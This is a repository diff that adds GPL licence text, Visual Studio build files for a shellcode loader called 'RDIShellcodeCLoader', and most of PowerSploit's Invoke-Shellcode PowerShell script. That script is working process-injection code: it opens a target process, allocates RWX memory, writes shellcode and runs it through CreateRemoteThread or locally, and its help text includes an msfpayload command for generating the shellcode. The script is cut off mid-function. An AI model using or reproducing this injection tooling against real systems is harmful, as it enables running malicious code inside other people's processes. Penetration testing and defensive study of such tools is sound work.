license from a particular copyright holder is reinstated (a)
provisionally, unless and until the copyright holder explicitly and
finally terminates your license, and (b) permanently, if the copyright
holder fails to notify you of the violation by some reasonable means
prior to 60 days after the cessation.
Moreover, your license from a particular copyright holder is
reinstated permanently if the copyright holder notifies you of the
violation by some reasonable means, this is the first time you have
received notice of violation of this License (for any work) from that
copyright holder, and you cure the violation prior to 30 days after
your receipt of the notice.
Termination of your rights under this section does not terminate the
licenses of parties who have received copies or rights from you under
this License. If your rights have been terminated and not permanently
reinstated, you do not qualify to receive new licenses for the same
material under section 10.
9. Acceptance Not Required for Having Copies.
You are not required to accept this License in order to receive or
run a copy of the Program. Ancillary propagation of a covered work
occurring solely as a consequence of using peer-to-peer transmission
to receive a copy likewise does not require acceptance. However,
nothing other than this License grants you permission to propagate or
modify any covered work. These actions infringe copyright if you do
not accept this License. Therefore, by modifying or propagating a
covered work, you indicate your acceptance of this License to do so.
10. Automatic Licensing of Downstream Recipients.
Each time you convey a covered work, the recipient automatically
receives a license from the original licensors, to run, modify and
propagate that work, subject to this License. You are not responsible
for enforcing compliance by third parties with this License.
An "entity transaction" is a transaction transferring control of an
organization, or substantially all assets of one, or subdividing an
organization, or merging organizations. If propagation of a covered
work results from an entity transaction, each party to that
transaction who receives a copy of the work also receives whatever
licenses to the work the party's predecessor in interest had or could
give under the previous paragraph, plus a right to possession of the
Corresponding Source of the work from the predecessor in interest, if
the predecessor has it or can get it with reasonable efforts.
You may not impose any further restrictions on the exercise of the
rights granted or affirmed under this License. For example, you may
not impose a license fee, royalty, or other charge for exercise of
rights granted under this License, and you may not initiate litigation
(including a cross-claim or counterclaim in a lawsuit) alleging that
any patent claim is infringed by making, using, selling, offering for
sale, or importing the Program or any portion of it.
11. Patents.
A "contributor" is a copyright holder who authorizes use under this
License of the Program or a work on which the Program is based. The
work thus licensed is called the contributor's "contributor version".
A contributor's "essential patent claims" are all patent claims
owned or controlled by the contributor, whether already acquired or
hereafter acquired, that would be infringed by some manner, permitted
by this License, of making, using, or selling its contributor version,
but do not include claims that would be infringed only as a
consequence of further modification of the contributor version. For
purposes of this definition, "control" includes the right to grant
patent sublicenses in a manner consistent with the requirements of
this License.
Each contributor grants you a non-exclusive, worldwide, royalty-free
patent license under the contributor's essential patent claims, to
make, use, sell, offer for sale, import and otherwise run, modify and
propagate the contents of its contributor version.
In the following three paragraphs, a "patent license" is any express
agreement or commitment, however denominated, not to enforce a patent
(such as an express permission to practice a patent or covenant not to
sue for patent infringement). To "grant" such a patent license to a
party means to make such an agreement or commitment not to enforce a
patent against the party.
If you convey a covered work, knowingly relying on a patent license,
and the Corresponding Source of the work is not available for anyone
to copy, free of charge and under the terms of this License, through a
publicly available network server or other readily accessible means,
then you must either (1) cause the Corresponding Source to be so
available, or (2) arrange to deprive yourself of the benefit of the
patent license for this particular work, or (3) arrange, in a manner
consistent with the requirements of this License, to extend the patent
license to downstream recipients. "Knowingly relying" means you have
actual knowledge that, but for the patent license, your conveying the
covered work in a country, or your recipient's use of the covered work
in a country, would infringe one or more identifiable patents in that
country that you have reason to believe are valid.
If, pursuant to or in connection with a single transaction or
arrangement, you convey, or propagate by procuring conveyance of, a
covered work, and grant a patent license to some of the parties
receiving the covered work authorizing them to use, propagate, modify
or convey a specific copy of the covered work, then the patent license
you grant is automatically extended to all recipients of the covered
work and works based on it.
A patent license is "discriminatory" if it does not include within
the scope of its coverage, prohibits the exercise of, or is
conditioned on the non-exercise of one or more of the rights that are
specifically granted under this License. You may not convey a covered
work if you are a party to an arrangement with a third party that is
in the business of distributing software, under which you make payment
to the third party based on the extent of your activity of conveying
the work, and under which the third party grants, to any of the
parties who would receive the covered work from you, a discriminatory
patent license (a) in connection with copies of the covered work
conveyed by you (or copies made from those copies), or (b) primarily
for and in connection with specific products or compilations that
contain the covered work, unless you entered into that arrangement,
or that patent license was granted, prior to 28 March 2007.
Nothing in this License shall be construed as excluding or limiting
any implied license or other defenses to infringement that may
otherwise be available to you under applicable patent law.
12. No Surrender of Others' Freedom.
If conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License. If you cannot convey a
covered work so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you may
not convey it at all. For example, if you agree to terms that obligate you
to collect a royalty for further conveying from those to whom you convey
the Program, the only way you could satisfy both those terms and this
License would be to refrain entirely from conveying the Program.
13. Use with the GNU Affero General Public License.
Notwithstanding any other provision of this License, you have
permission to link or combine any covered work with a work licensed
under version 3 of the GNU Affero General Public License into a single
combined work, and to convey the resulting work. The terms of this
License will continue to apply to the part which is the covered work,
but the special requirements of the GNU Affero General Public License,
section 13, concerning interaction through a network will apply to the
combination as such.
14. Revised Versions of this License.
The Free Software Foundation may publish revised and/or new versions of
the GNU General Public License from time to time. Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.
Each version is given a distinguishing version number. If the
Program specifies that a certain numbered version of the GNU General
Public License "or any later version" applies to it, you have the
option of following the terms and conditions either of that numbered
version or of any later version published by the Free Software
Foundation. If the Program does not specify a version number of the
GNU General Public License, you may choose any version ever published
by the Free Software Foundation.
If the Program specifies that a proxy can decide which future
versions of the GNU General Public License can be used, that proxy's
public statement of acceptance of a version permanently authorizes you
to choose that version for the Program.
Later license versions may give you additional or different
permissions. However, no additional obligations are imposed on any
author or copyright holder as a result of your choosing to follow a
later version.
15. Disclaimer of Warranty.
THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
16. Limitation of Liability.
IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
SUCH DAMAGES.
17. Interpretation of Sections 15 and 16.
If the disclaimer of warranty and limitation of liability provided
above cannot be given local legal effect according to their terms,
reviewing courts shall apply local law that most closely approximates
an absolute waiver of all civil liability in connection with the
Program, unless a warranty or assumption of liability accompanies a
copy of the Program in return for a fee.
END OF TERMS AND CONDITIONS
How to Apply These Terms to Your New Programs
If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.
To do so, attach the following notices to the program. It is safest
to attach them to the start of each source file to most effectively
state the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is found.
{one line to give the program's name and a brief idea of what it does.}
Copyright (C) {year} {name of author}
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.
Also add information on how to contact you by electronic and paper mail.
If the program does terminal interaction, make it output a short
notice like this when it starts in an interactive mode:
{project} Copyright (C) {year} {fullname}
This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
This is free software, and you are welcome to redistribute it
under certain conditions; type `show c' for details.
The hypothetical commands `show w' and `show c' should show the appropriate
parts of the General Public License. Of course, your program's commands
might be different; for a GUI interface, you would use an "about box".
You should also get your employer (if you work as a programmer) or school,
if any, to sign a "copyright disclaimer" for the program, if necessary.
For more information on this, and how to apply and follow the GNU GPL, see
<http://www.gnu.org/licenses/>.
The GNU General Public License does not permit incorporating your program
into proprietary programs. If your program is a subroutine library, you
may consider it more useful to permit linking proprietary applications with
the library. If this is what you want to do, use the GNU Lesser General
Public License instead of this License. But first, please read
<http://www.gnu.org/philosophy/why-not-lgpl.html>.
File diff suppressed because one or more lines are too long
+173
View File
@@ -0,0 +1,173 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" ToolsVersion="14.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<ProjectGuid>{68293519-3053-4AB6-921F-9690E2E1487F}</ProjectGuid>
<Keyword>Win32Proj</Keyword>
<RootNamespace>RDIShellcodeCLoader</RootNamespace>
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
<ProjectName>Native</ProjectName>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="Shared">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<PrecompiledHeader>
</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<Optimization>Disabled</Optimization>
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
<PostBuildEvent>
<Command>copy /y "$(TargetPath)" "$(SolutionDir)bin\NativeLoader_x86.exe"</Command>
</PostBuildEvent>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<ClCompile>
<PrecompiledHeader>
</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<Optimization>Disabled</Optimization>
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
<PostBuildEvent>
<Command>copy /y "$(TargetPath)" "$(SolutionDir)bin\NativeLoader_x64.exe"</Command>
</PostBuildEvent>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<PrecompiledHeader>
</PrecompiledHeader>
<Optimization>MaxSpeed</Optimization>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
</Link>
<PostBuildEvent>
<Command>copy /y "$(TargetPath)" "$(SolutionDir)bin\NativeLoader_x86.exe"</Command>
</PostBuildEvent>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<PrecompiledHeader>
</PrecompiledHeader>
<Optimization>MaxSpeed</Optimization>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
</Link>
<PostBuildEvent>
<Command>copy /y "$(TargetPath)" "$(SolutionDir)bin\NativeLoader_x64.exe"</Command>
</PostBuildEvent>
</ItemDefinitionGroup>
<ItemGroup>
<Text Include="ReadMe.txt" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="stdafx.h" />
<ClInclude Include="targetver.h" />
</ItemGroup>
<ItemGroup>
<ClCompile Include="Loader.cpp" />
<ClCompile Include="stdafx.cpp" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>
+36
View File
@@ -0,0 +1,36 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="Source Files">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
<Filter Include="Header Files">
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hh;hpp;hxx;hm;inl;inc;xsd</Extensions>
</Filter>
<Filter Include="Resource Files">
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
</Filter>
</ItemGroup>
<ItemGroup>
<Text Include="ReadMe.txt" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="stdafx.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="targetver.h">
<Filter>Header Files</Filter>
</ClInclude>
</ItemGroup>
<ItemGroup>
<ClCompile Include="stdafx.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="Loader.cpp">
<Filter>Source Files</Filter>
</ClCompile>
</ItemGroup>
</Project>
+8
View File
@@ -0,0 +1,8 @@
// stdafx.cpp : source file that includes just the standard includes
// RDIShellcodeCLoader.pch will be the pre-compiled header
// stdafx.obj will contain the pre-compiled type information
#include "stdafx.h"
// TODO: reference any additional headers you need in STDAFX.H
// and not in this file
+15
View File
@@ -0,0 +1,15 @@
// stdafx.h : include file for standard system include files,
// or project specific include files that are used frequently, but
// are changed infrequently
//
#pragma once
#include "targetver.h"
#include <stdio.h>
#include <tchar.h>
// TODO: reference additional headers your program requires here
+8
View File
@@ -0,0 +1,8 @@
#pragma once
// Including SDKDDKVer.h defines the highest available Windows platform.
// If you wish to build your application for a previous Windows platform, include WinSDKVer.h and
// set the _WIN32_WINNT macro to the platform you wish to support before including SDKDDKVer.h.
#include <SDKDDKVer.h>
File diff suppressed because one or more lines are too long
+513
View File
@@ -0,0 +1,513 @@
function Invoke-Shellcode
{
<#
.SYNOPSIS
Inject shellcode into the process ID of your choosing or within the context of the running PowerShell process.
PowerSploit Function: Invoke-Shellcode
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
Portions of this project was based upon syringe.c v1.2 written by Spencer McIntyre
PowerShell expects shellcode to be in the form 0xXX,0xXX,0xXX. To generate your shellcode in this form, you can use this command from within Backtrack (Thanks, Matt and g0tm1lk):
msfpayload windows/exec CMD="cmd /k calc" EXITFUNC=thread C | sed '1,6d;s/[";]//g;s/\\/,0/g' | tr -d '\n' | cut -c2-
Make sure to specify 'thread' for your exit process. Also, don't bother encoding your shellcode. It's entirely unnecessary.
.PARAMETER ProcessID
Process ID of the process you want to inject shellcode into.
.PARAMETER Shellcode
Specifies an optional shellcode passed in as a byte array
.PARAMETER Force
Injects shellcode without prompting for confirmation. By default, Invoke-Shellcode prompts for confirmation before performing any malicious act.
.EXAMPLE
C:\PS> Invoke-Shellcode -ProcessId 4274
Description
-----------
Inject shellcode into process ID 4274.
.EXAMPLE
C:\PS> Invoke-Shellcode
Description
-----------
Inject shellcode into the running instance of PowerShell.
.EXAMPLE
C:\PS> Invoke-Shellcode -Shellcode @(0x90,0x90,0xC3)
Description
-----------
Overrides the shellcode included in the script with custom shellcode - 0x90 (NOP), 0x90 (NOP), 0xC3 (RET)
Warning: This script has no way to validate that your shellcode is 32 vs. 64-bit!
#>
[CmdletBinding( DefaultParameterSetName = 'RunLocal', SupportsShouldProcess = $True , ConfirmImpact = 'High')] Param (
[ValidateNotNullOrEmpty()]
[UInt16]
$ProcessID,
[Parameter( ParameterSetName = 'RunLocal' )]
[ValidateNotNullOrEmpty()]
[Byte[]]
$Shellcode,
[Switch]
$Force = $False
)
Set-StrictMode -Version 2.0
if ( $PSBoundParameters['ProcessID'] )
{
# Ensure a valid process ID was provided
# This could have been validated via 'ValidateScript' but the error generated with Get-Process is more descriptive
Get-Process -Id $ProcessID -ErrorAction Stop | Out-Null
}
function Local:Get-DelegateType
{
Param
(
[OutputType([Type])]
[Parameter( Position = 0)]
[Type[]]
$Parameters = (New-Object Type[](0)),
[Parameter( Position = 1 )]
[Type]
$ReturnType = [Void]
)
$Domain = [AppDomain]::CurrentDomain
$DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate')
$AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
$TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters)
$ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
$MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
$MethodBuilder.SetImplementationFlags('Runtime, Managed')
Write-Output $TypeBuilder.CreateType()
}
function Local:Get-ProcAddress
{
Param
(
[OutputType([IntPtr])]
[Parameter( Position = 0, Mandatory = $True )]
[String]
$Module,
[Parameter( Position = 1, Mandatory = $True )]
[String]
$Procedure
)
# Get a reference to System.dll in the GAC
$SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() |
Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }
$UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
# Get a reference to the GetModuleHandle and GetProcAddress methods
$GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
$GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress', [reflection.bindingflags] "Public,Static", $null, [System.Reflection.CallingConventions]::Any, @((New-Object System.Runtime.InteropServices.HandleRef).GetType(), [string]), $null);
# Get a handle to the module specified
$Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
$tmpPtr = New-Object IntPtr
$HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)
# Return the address of the function
Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
}
# Emits a shellcode stub that when injected will create a thread and pass execution to the main shellcode payload
function Local:Emit-CallThreadStub ([IntPtr] $BaseAddr, [IntPtr] $ExitThreadAddr, [Int] $Architecture)
{
$IntSizePtr = $Architecture / 8
function Local:ConvertTo-LittleEndian ([IntPtr] $Address)
{
$LittleEndianByteArray = New-Object Byte[](0)
$Address.ToString("X$($IntSizePtr*2)") -split '([A-F0-9]{2})' | ForEach-Object { if ($_) { $LittleEndianByteArray += [Byte] ('0x{0}' -f $_) } }
[System.Array]::Reverse($LittleEndianByteArray)
Write-Output $LittleEndianByteArray
}
$CallStub = New-Object Byte[](0)
if ($IntSizePtr -eq 8)
{
[Byte[]] $CallStub = 0x48,0xB8 # MOV QWORD RAX, &shellcode
$CallStub += ConvertTo-LittleEndian $BaseAddr # &shellcode
$CallStub += 0xFF,0xD0 # CALL RAX
$CallStub += 0x6A,0x00 # PUSH BYTE 0
$CallStub += 0x48,0xB8 # MOV QWORD RAX, &ExitThread
$CallStub += ConvertTo-LittleEndian $ExitThreadAddr # &ExitThread
$CallStub += 0xFF,0xD0 # CALL RAX
}
else
{
[Byte[]] $CallStub = 0xB8 # MOV DWORD EAX, &shellcode
$CallStub += ConvertTo-LittleEndian $BaseAddr # &shellcode
$CallStub += 0xFF,0xD0 # CALL EAX
$CallStub += 0x6A,0x00 # PUSH BYTE 0
$CallStub += 0xB8 # MOV DWORD EAX, &ExitThread
$CallStub += ConvertTo-LittleEndian $ExitThreadAddr # &ExitThread
$CallStub += 0xFF,0xD0 # CALL EAX
}
Write-Output $CallStub
}
function Local:Inject-RemoteShellcode ([Int] $ProcessID)
{
# Open a handle to the process you want to inject into
$hProcess = $OpenProcess.Invoke(0x001F0FFF, $false, $ProcessID) # ProcessAccessFlags.All (0x001F0FFF)
if (!$hProcess)
{
Throw "Unable to open a process handle for PID: $ProcessID"
}
$IsWow64 = $false
if ($64bitOS) # Only perform theses checks if CPU is 64-bit
{
# Determine if the process specified is 32 or 64 bit
$IsWow64Process.Invoke($hProcess, [Ref] $IsWow64) | Out-Null
if ((!$IsWow64) -and $PowerShell32bit)
{
Throw 'Shellcode injection targeting a 64-bit process from 32-bit PowerShell is not supported. Use the 64-bit version of Powershell if you want this to work.'
}
elseif ($IsWow64) # 32-bit Wow64 process
{
if ($Shellcode32.Length -eq 0)
{
Throw 'No shellcode was placed in the $Shellcode32 variable!'
}
$Shellcode = $Shellcode32
Write-Verbose 'Injecting into a Wow64 process.'
Write-Verbose 'Using 32-bit shellcode.'
}
else # 64-bit process
{
if ($Shellcode64.Length -eq 0)
{
Throw 'No shellcode was placed in the $Shellcode64 variable!'
}
$Shellcode = $Shellcode64
Write-Verbose 'Using 64-bit shellcode.'
}
}
else # 32-bit CPU
{
if ($Shellcode32.Length -eq 0)
{
Throw 'No shellcode was placed in the $Shellcode32 variable!'
}
$Shellcode = $Shellcode32
Write-Verbose 'Using 32-bit shellcode.'
}
# Reserve and commit enough memory in remote process to hold the shellcode
$RemoteMemAddr = $VirtualAllocEx.Invoke($hProcess, [IntPtr]::Zero, $Shellcode.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX)
if (!$RemoteMemAddr)
{
Throw "Unable to allocate shellcode memory in PID: $ProcessID"
}
Write-Verbose "Shellcode memory reserved at 0x$($RemoteMemAddr.ToString("X$([IntPtr]::Size*2)"))"
# Copy shellcode into the previously allocated memory
$WriteProcessMemory.Invoke($hProcess, $RemoteMemAddr, $Shellcode, $Shellcode.Length, [Ref] 0) | Out-Null
# Get address of ExitThread function
$ExitThreadAddr = Get-ProcAddress kernel32.dll ExitThread
if ($IsWow64)
{
# Build 32-bit inline assembly stub to call the shellcode upon creation of a remote thread.
$CallStub = Emit-CallThreadStub $RemoteMemAddr $ExitThreadAddr 32
Write-Verbose 'Emitting 32-bit assembly call stub.'
}
else
{
# Build 64-bit inline assembly stub to call the shellcode upon creation of a remote thread.
$CallStub = Emit-CallThreadStub $RemoteMemAddr $ExitThreadAddr 64
Write-Verbose 'Emitting 64-bit assembly call stub.'
}
# Allocate inline assembly stub
$RemoteStubAddr = $VirtualAllocEx.Invoke($hProcess, [IntPtr]::Zero, $CallStub.Length, 0x3000, 0x40) # (Reserve|Commit, RWX)
if (!$RemoteStubAddr)
{
Throw "Unable to allocate thread call stub memory in PID: $ProcessID"
}
Write-Verbose "Thread call stub memory reserved at 0x$($RemoteStubAddr.ToString("X$([IntPtr]::Size*2)"))"
# Write 32-bit assembly stub to remote process memory space
$WriteProcessMemory.Invoke($hProcess, $RemoteStubAddr, $CallStub, $CallStub.Length, [Ref] 0) | Out-Null
# Execute shellcode as a remote thread
$ThreadHandle = $CreateRemoteThread.Invoke($hProcess, [IntPtr]::Zero, 0, $RemoteStubAddr, $RemoteMemAddr, 0, [IntPtr]::Zero)
if (!$ThreadHandle)
{
Throw "Unable to launch remote thread in PID: $ProcessID"
}
# Close process handle
$CloseHandle.Invoke($hProcess) | Out-Null
Write-Verbose 'Shellcode injection complete!'
}
function Local:Inject-LocalShellcode
{
if ($PowerShell32bit) {
if ($Shellcode32.Length -eq 0)
{
Throw 'No shellcode was placed in the $Shellcode32 variable!'
return
}
$Shellcode = $Shellcode32
Write-Verbose 'Using 32-bit shellcode.'
}
else
{
if ($Shellcode64.Length -eq 0)
{
Throw 'No shellcode was placed in the $Shellcode64 variable!'
return
}
$Shellcode = $Shellcode64
Write-Verbose 'Using 64-bit shellcode.'
}
# Allocate RWX memory for the shellcode
$BaseAddress = $VirtualAlloc.Invoke([IntPtr]::Zero, $Shellcode.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX)
if (!$BaseAddress)
{
Throw "Unable to allocate shellcode memory in PID: $ProcessID"
}
Write-Verbose "Shellcode memory reserved at 0x$($BaseAddress.ToString("X$([IntPtr]::Size*2)"))"
# Copy shellcode to RWX buffer
[System.Runtime.InteropServices.Marshal]::Copy($Shellcode, 0, $BaseAddress, $Shellcode.Length)
# Get address of ExitThread function
$ExitThreadAddr = Get-ProcAddress kernel32.dll ExitThread
if ($PowerShell32bit)
{
$CallStub = Emit-CallThreadStub $BaseAddress $ExitThreadAddr 32
Write-Verbose 'Emitting 32-bit assembly call stub.'
}
else
{
